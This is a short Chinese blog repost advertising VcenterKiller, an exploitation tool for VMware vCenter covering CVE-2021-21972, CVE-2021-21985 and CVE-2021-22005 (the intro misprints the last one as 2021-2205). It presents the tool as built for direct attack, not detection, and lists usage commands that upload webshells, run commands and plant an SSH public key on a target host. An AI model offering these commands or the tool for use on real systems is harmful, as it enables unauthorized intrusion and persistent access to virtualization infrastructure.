一款针对Vcenter的综合利用工具 -- VcenterKiller(一键上传webshell)
2022-10-14 09:2:46 Author: 天驿安全(查看原文) 阅读量:59 收藏

0x01 工具介绍

一款针对Vcenter的综合利用工具,包含目前最主流的CVE-2021-21972、CVE-2021-21985以及CVE-2021-2205,提供一键上传webshell,命令执行或者上传公钥使用SSH连接,一般Vcenter都放在内网,并且漏洞特征也都是烂大街,像什么fscan啦一扫就出来了,那么VcenterKiller就不是用来检测目标是否存在漏洞的,而是直接尝试利用,一般通过CS/MSF在跳板上来执行,所以去掉了其余花里胡哨的输出。

0x02 安装与使用

使用方法

go build -o main.exe
./main.exe -u https://192.168.1.1 -m 21985 -c whoami./main.exe -u https://192.168.1.1 -m 22005 -f test.jsp./main.exe -u https://192.168.1.1 -m 21972 -f test.jsp./main.exe -u https://192.168.1.1 -m 21972 -f id_rsa.pub -t ssh //传公钥

0x03 项目链接下载

1、通过阅读原文,到项目地址下载
如有侵权请联系删除

文章来源: http://mp.weixin.qq.com/s?__biz=MzkxNjIxNDQyMQ==&mid=2247492963&idx=1&sn=3ef7d04de4bd0d194991f025ea80766d&chksm=c151e299f6266b8f4d5ac4d285aaa21fc9980bebb87ee73a6326b85007307fed68075626820b#rd
如有侵权请联系:admin#unsafe.sh